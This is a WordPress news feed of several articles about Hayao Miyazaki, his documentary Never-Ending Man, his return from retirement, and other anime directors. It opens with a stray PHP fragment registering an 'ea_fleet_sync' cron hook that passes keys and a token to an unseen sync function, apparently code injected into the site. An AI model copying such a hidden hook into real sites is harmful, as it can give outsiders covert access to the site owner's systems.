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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Miyazaki – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 28 Jan 2019 04:57:59 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Miyazaki – Brief News https://briefnews.eu 32 32 Hayao Miyazaki doc: An analog animation master finds new technical challenges https://briefnews.eu/hayao-miyazaki-doc-an-analog-animation-master-finds-new-technical-challenges/ https://briefnews.eu/hayao-miyazaki-doc-an-analog-animation-master-finds-new-technical-challenges/#respond Mon, 28 Jan 2019 04:57:59 +0000 http://briefnews.eu/hayao-miyazaki-doc-an-analog-animation-master-finds-new-technical-challenges/

The trailer for Never-Ending Man: Hayao Miyazaki

If the name Hayao Miyazaki means anything to you, new documentary Never-Ending Man will, too. The film provides a pretty intimate, charming portrayal of the legendary animator from the announcement of his retirement (September 2013) through much of the production on Boro The Caterpillar, Miyazaki’s first film done entirely with CGI (that short film debuted last year).

Throughout a short hour-ish run time, this documentary maintains a very narrow focus. Never-Ending Man really only consists of footage of Miyazaki at home or at the studio, and it relies solely on interviews directly with the man or with collaborators on this project. The approach allows viewers to draw their own conclusions about why this work remains great and what makes Miyazaki tick rather than having any longtime observers or contemporaries spell such things out.

Even at this age (in his 70s), Miyazaki has an incredible dedication to detail, for instance. To make a less-than-15-minute short about a caterpillar, he’s putting insects under a microscope and working through several hand-drawn interactions before anything shows up on a computer screen. In early film footage showing pre-CGI life at Studio Ghibli, Miyazaki stands over young illustrator shoulders and offers nuanced feedback: “It’s important to draw full human beings, you’re drawing people not characters,” he tells them, soon offering slight critiques on a character’s running form or how they hold a bundled up blanket. Later when working with CGI, Miyazaki may not understand or have comfort with the tools and medium, but he continues to share similarly micro observations. “The turning motion is too adult like,” he says, watching an early render of Boro looking around his landscape. “Babies don’t turn their heads so sharply.”

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]]> https://briefnews.eu/hayao-miyazaki-doc-an-analog-animation-master-finds-new-technical-challenges/feed/ 0 The Top 5 Anime Film Directors Working Today Who Aren’t Hayao Miyazaki https://briefnews.eu/the-top-5-anime-film-directors-working-today-who-arent-hayao-miyazaki/ https://briefnews.eu/the-top-5-anime-film-directors-working-today-who-arent-hayao-miyazaki/#respond Mon, 03 Sep 2018 20:26:20 +0000 http://briefnews.eu/the-top-5-anime-film-directors-working-today-who-arent-hayao-miyazaki/ anime film directors

(Welcome to Let’s Get Animated!, a column that spotlights the best of film animation. In this edition: the best modern anime film directors to keep an eye on.)

Ask any animation buff and they can list off a handful of great Western animation directors, and one Japanese one. Despite anime’s place on the global stage — dominating the pop culture stratosphere since the ‘90s and going on to win prestige thanks to the efforts of Studio Ghibli — most people still think of Hayao Miyazaki as the lone renowned anime filmmaker. But simply taking a shallow dive into the anime industry proves that is not the case.

That’s right, I’m back to talking about anime. While last time I gave you a beginner’s guide to the best gateway anime, this month I’ll be covering some of the most promising and accomplished anime film directors working today. Most of these filmmakers have had to ward off breathless press questions about whether they consider themselves “the Next Miyazaki” or had their films endlessly compared to Studio Ghibli’s catalogue. But these filmmakers have more than proved that they can stand on their own.

Let it be known that this list will exclusively cover directors still working today, and who work mostly in film. (So, no Isao Takahata, or Satoshi Kon, who is a master due for his own column sometime in the future.)

Mamoru Hosoda

There’s something about Mamoru Hosoda’s fluid, membrane-like animation style that recalls something out of a dream. His penchant for exploring fantastical stories that burst to the seams with whimsy only serve to make his films — which range from coming-of-age science-fiction to bittersweet fables — more surreal. Yet his calm and nourishing films are among the most grounded you can find in the anime industry.

The 50-year-old filmmaker got his start on TV before earning his directorial stripes at the young age of 33 helming the movie spin-off of one of the most famous animes at the time, Digimon. Hosoda’s burgeoning talent caught the eye of Studio Ghibli, which offered him the opportunity to direct 2005’s Howl’s Moving Castle, before Miyazaki came out of retirement to take the reins. It wasn’t until 2006 when Hosoda proved himself as an anime auteur in his own right, with the vibrant sci-fi film The Girl Who Leapt Through Time. The movie puts a fresh twist on the familiar Groundhog Day-type story while doubling as a coming-of-age comedy about a selfish, dolt-headed girl who has no right to time travel. It was a breakout hit, and an auspicious sign of things to come. Hosoda would follow up with a string of inarguable hits: the dazzling digital adventure hailing to his first Digimon feature, Summer Wars; the heart-breaking werewolf fable, Wolf Children; and the bonkers fantasy adventure The Boy and the Beast.

Through all of his deeply felt, achingly human films, run the themes of parenthood and love — which he condenses into easily digestible, family-friendly flicks. But there’s a comforting (almost conservative) strain of nostalgia throughout his films that make you feel like you’re coming home.

Best Film: The Girl Who Leapt Through Time

Latest Film: Mirai

Makoto Shinkai

Perhaps the only anime director who has been able to see the Stateside success since Miyazaki is Makoto Shinkai. And it’s fitting that it would happen with his rapturous hit Your Name — the body-switch film felt like the culmination of all of Shinkai’s past works, encompassing all the themes he had tinkered with from his breakout short film Voices of a Distant Star to his photorealistic magnum opus, 5 Centimeters Per Second. And astonishingly, it even bested Ghibli’s at the box office, becoming the highest-grossing film in Japan that year and surpassing Spirited Away as the top-grossing anime film worldwide.

It’s a little perplexing that Your Name would be the crossover hit that could launch Shinkai’s international career. A body-switch comedy that transforms into a metaphysical exploration of loss, all nestled snugly inside a heart-fluttering high school romance. And yet, Your Name spoke to some profound, universal emotions that scored it a wide U.S. release. Your Name is the most endearing that Shinkai has ever been, with broad comedy elements unusual for the philosophical, introspective director who delights in finding tragedy within the mundane. Shinkai has perfected a stunningly realistic visual style that complements his brand of slow-burning storytelling.

In an industry that values speed over animation quality, Shinkai’s meticulous dedication to creating a sumptuous, hyper-real animation style is something to behold. Take his consummate short film, 5 Centimeters Per Second. Shinkai painstakingly recreates ordinary streets and alleyways of Tokyo (seriously, compare photos of the streets with his animated shots! There is no difference!), upon which the camera lingers and somehow bestows an otherworldly magic. Let me revise my previous statement: Shinkai doesn’t find tragedy within the mundane, he finds the magic.

Best Film: 5 Centimeters Per Second

Latest Film: Your Name

Masaaki Yuasa

In the opening minutes of Masaaki Yuasa‘s explosive, exhilarating debut film Mind Game, our hero, the  weak-willed wannabe manga artist Nishi, meets up with his high school crush on the eve of her engagement to another man. At a yakitori bar, he struggles to confess his lingering feelings for her, but is interrupted by a hot-headed ex-football player and his manager who crash into the bar and hold it hostage. Things escalate, and the two assault Myon while Nishi, watching helplessly, gets shot literally up the butt. It’s a brutal, shocking display of violence, amplified by Yuasa’s grotesque, constantly shifting animation style.

As you could guess, Yuasa isn’t for everyone. But you’d be remiss if you avoided the most idiosyncratic, wildly innovating anime director working today. Those first opening minutes of Mind Game only scratch the surface of Yuasa style (and the movie itself, which involves Nishi getting a second chance at the encounter, only for him and Myon to jump off a cliff into the mouth of a whale, where the rest of the movie takes place) and his capacity for testing the limits of animation.

Even within the limits of a two-hour movie, Yuasa can’t seem to decide on an animation style, ping-ponging between flat paper cut-outs, to hastily drawn sketches, and computer-animated…fish? His dizzying, experimental style doesn’t once try to mimic reality, but instead bends it to his whims. It’s no wonder that Yuasa’s one stint in American animation is in the trippy Cartoon Network series Adventure Time, where he tapped into the show’s signature quirky style (and perhaps let it influence his own as well as he heads into family-friendlier territory). His work on Netflix’s Devilman Crybaby exemplifies the best — and worst — of Yuasa’s idiosyncracies (he still has a pretty stunted view of women), but has helped launch him to global success.

Best Film: Mind Game

Latest Film: The Night is Long, Walk On Girl

Mamoru Oshii

Mamoru Oshii changed the anime game when he directed his magnum opus Ghost in the Shell in 1995. The groundbreaking cyberpunk film was a watershed moment in anime industry, helping to put anime on the international stage and going on to directly influence the Wachowski’s The Matrix. The 67-year-old Oshii, one of the older directors on this list, resided in a rapidly industrializing Japan where the lines between technology and reality became increasingly blurred. And his catalogue of works, from the Ghost in the Shell movies to his live-action/animation hybrids, tapped into the anxieties that came with growing up in a swiftly shifting society.

Oshii is famous for his philosophy-oriented storytelling and brutally sleek animation style, which always seem to be at the point of bursting — whether in shows of violence or in shows of dazzling beauty, no one could predict. In recent years, Oshii has moved away from directing anime films in favor of hyperstylized live-action films. But his defining impact on the anime industry will never be lost.

Best Film: Ghost in the Shell

Latest Film: Garm Wars: The Last Druid

Naoko Yamada

At only 33, Naoko Yamada is a bit of an anomaly in the anime industry, rapidly rising to prominence from work as an in-betweener (drawing the frames between the key animation) to the shining star of her studio, Kyoto Animation. And as a woman in a male-dominated industry, she is even more of anomaly. But in her brief career, Yamada has amassed a portfolio that most of her male peers would be green with envy over.

Yamada began her career drawing inbetween frames for the popular anime series Inuyasha, back when the studio had only around 100 employees. She paid her dues at Kyoto Animation, rising through the ranks as an episode director for Clannad before making her directorial debut with the 2009 TV series K-On!, a slice of life high school comedy. She would find her niche in the love stories of adolescence, bringing them to sparkling life with her keen eye for the cinematic.

Yamada directed her breakout film fairly recently with 2016’s A Silent Voice, an adaptation of a manga of the same name by Yoshitoki ?ima. But Yamada’s uniquely cinematic approach infused the film with such vibrancy and liveliness that it immediately launched her name to the top of the animation industry. A Silent Voice is visual storytelling at its most powerful, following a teen boy who seeks redemption for bullying a young deaf girl from his childhood. It’s a film that exists in the small non-verbal gestures between characters, the changing colors of the sky, and an odd amount of shots of legs. Yamada describes these small, subconscious movements in her animation style as the key to how she approaches film, saying, “Anime is one frame by one frame with something a human has created to move around. It’s that ‘animation’ process that moves people. You never forget that intent when creating something.”

Best Film: A Silent Voice

Latest Film: Liz and the Blue Bird

Honorable Mentions

Hideaki Anno (Neon Genesis Evangelion)

Sunao Katabuchi (In This Corner of the World)

Kunihiko Ikuhara (Sailor Moon, Revolutionary Girl Utena)

Rintaro (Metropolis)

Yoshiaki Kawajiri (Ninja Scroll)

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(The Morning Watch is a recurring feature that highlights a handful of noteworthy videos from around the web. They could be video essays, fanmade productions, featurettes, short films, hilarious sketches, or just anything that has to do with our favorite movies and TV shows.)

In this edition, a video essay takes a look at the seamless, invisible visual effects in the films of David Fincher. Plus, find out what happened when master filmmakers Akira Kurosawa and Hayao Miyazaki met in 1993, and witness every single “That’s what she said” joke across all nine seasons of NBC’s The Office.

First up, a video essay from Kaptain Kristian looks at the hidden visual effects in the films of David Fincher. In an industry obsessed with visual effects that create spectacle, David Fincher is one of those filmmakers who use visual effects as a way of immersing the audience in the world in which his narrative takes place. They are simple touches that keep the audience engrossed in the story. Though The Curious Case of Benjamin Button hasn’t aged quite as well on the visual effects front.

Fandor dives into an interview back in 1993 when Akira Kurosawa and Hayao Miyazaki interviewed each other. In brief, it looks at a few highlights, including how the filmmakers appreciated each other’s work and how each of them approached each other for the interview. Sadly, it doesn’t look like the full interview is easy to find in English online, but if you can get your hands on it, I’m sure it’s a fascinating watch in its entirety.

Finally, to end things on a lighter note, the official YouTube channel for NBC’s The Office uploaded a supercut featuring every single instance of a “That’s what she said” joke. Most of them obviously come from Steve Carell as Michael Scott, but there are a few great ones delivered by various members of the cast as well. It should come as no surprise that this is a longer one too. (That’s what she said.)

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No matter how many times he has announced it, Hayao Miyazaki will never retire. And we can only be grateful that a genius like him will keep blessing the world with his works.

Miyazaki announced (for the umpteenth time) that he would retire from the grueling world of animation that he revolutionized with films like Princess Mononoke and Spirited Away in 2013, after the release of his World War II epic The Wind Rises. But a comeback was inevitable — a few years later it was revealed that Miyazaki was secretly working on a short film called Boro The Caterpillar. Unsatisfied with the final product however, Miyazaki is expanding the short into a feature length film. His un-retirement became official today when Studio Ghibli, Miyazaki’s professional home for 30 years, reopened its production department to work on Miyazaki’s feature film.

On Friday, Studio Ghibli’s production department officially reopened its doors to work on Miyazaki’s new feature film, according to The Playlist.

The Playlist cited a translation of Ghibli’s official site, which announced that Miyazaki brought together his main collaborators to work on the feature film, and the studio is hiring new staff to work on the new production, which will start on an unknown date. It is unclear, however, whether the feature film that Miyazaki is working on at Ghibli is the feature-length version of Boro The Caterpillar or another film entirely.

Perhaps when Miyazaki announced his retirement from making animated feature films in 2013, he was only speaking about hand-drawn animation. Because his new purported film Boro The Caterpillar will actually be completely in CGI, a form of animation that Miyazaki once hilariously denounced as “an insult to life itself.” However, Miyazaki was recently smitten by the CGI bug, quickly learning the technology to bring to life Boro, which he describes as “a story of a tiny, hairy caterpillar, so tiny that it may be easily squished between your fingers.”

Miyazaki originally hoped to finish Boro The Caterpillar by the 2020 Tokyo Olympics. Currently, Miyazaki’s passion project is currently scheduled for a 2021 release, when Miyazaki turns 80.

Miyazaki is easily the greatest living animator today. His capacity for imaginative and profound storytelling is unrivaled, even as Japan and the rest of the world scramble to find a successor to the oft-called Godfather of Animation. Studio Ghibli, which Miyazaki co-founded with Isao Takahata and was responsible for the bulk of its award-winning films, was also at a loss when Miyazaki announced that he would retire — for real this time, he swore. In a post-Miyazaki world, the studio shuttered its feature film department and focused on bringing small acclaimed films like The Red Turtle to wide release, or collaborative projects like the Polygon Pictures partnership for Ronja the Robber’s Daughter series on Amazon Prime.

But Miyazaki has done this dance before. His first flirtation with retirement came with Princess Mononoke in 1997, which at the time he repeatedly called his last chance to make an epic action film (I don’t have an article to cite for this, it was in the Princess Mononoke special features which I have watched back to front). His fantastical masterpiece Spirited Away brought him out of this “retirement” in 2001, winning him his only Academy Award and getting him back in the director’s seat for three more movies. His final “retirement” was in 2013, and we all know what happened with that.

I could not be happier that Miyazaki is back for the foreseeable future. Spirited Away was a formative movie for me, and all of his films have led me on the path to becoming a movie buff. Although I worry about his well-being, as Miyazaki likes to be involved in every aspect of his movies’ productions and often insisted on drawing the key art himself, I’m confident that he will never truly retire. Just watch one of the many documentaries about Miyazaki — Never-Ending Man was specifically about how Miyazaki couldn’t put down the pen in his retirement — and appreciate that genius can never be retired.

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Studio Ghibli fans have something else to look forward to after Ronja, the Robber’s Daughter. Hayao Miyazaki, famous Japanese animation filmmaker and the studio’s mastermind, will be coming out of his retirement to begin working on his last project this fall. A job posting spotted by AnimeNewsNetwork is looking for in-between animators and background artists to work on his final film for the next three years or longer, starting on October 1st. Miyazaki’s body of work includes Princess Mononoke, Spirited Away, Howl’s Moving Castle and My Neighbor Totoro. The animation maestro wants to finish the movie before the 2020 Olympics in Tokyo, but Ghibli producer Toshio Suzuki said that simply isn’t possible.

Ghibli struggled after Miyazaki left in 2013 and announced a hiatus less than a year later to restructure the company. The studio’s last feature film was actually released back in 2014 — it merely co-produced Ronja, which was directed by Miyazaki’s son Goro and which you can watch on Amazon Prime. Since the famous animator tried to retire several times in the past, we can’t say with 100 percent certainty that this truly will be his swan song. He will likely be 80 or older by the the time this project’s done, though, and the fate of Ghibli after he truly walks away from it remains uncertain, so you probably won’t want to miss this if you love his work.

Via: Polygon

Source: AnimeNewsNetwork, Studio Ghibli

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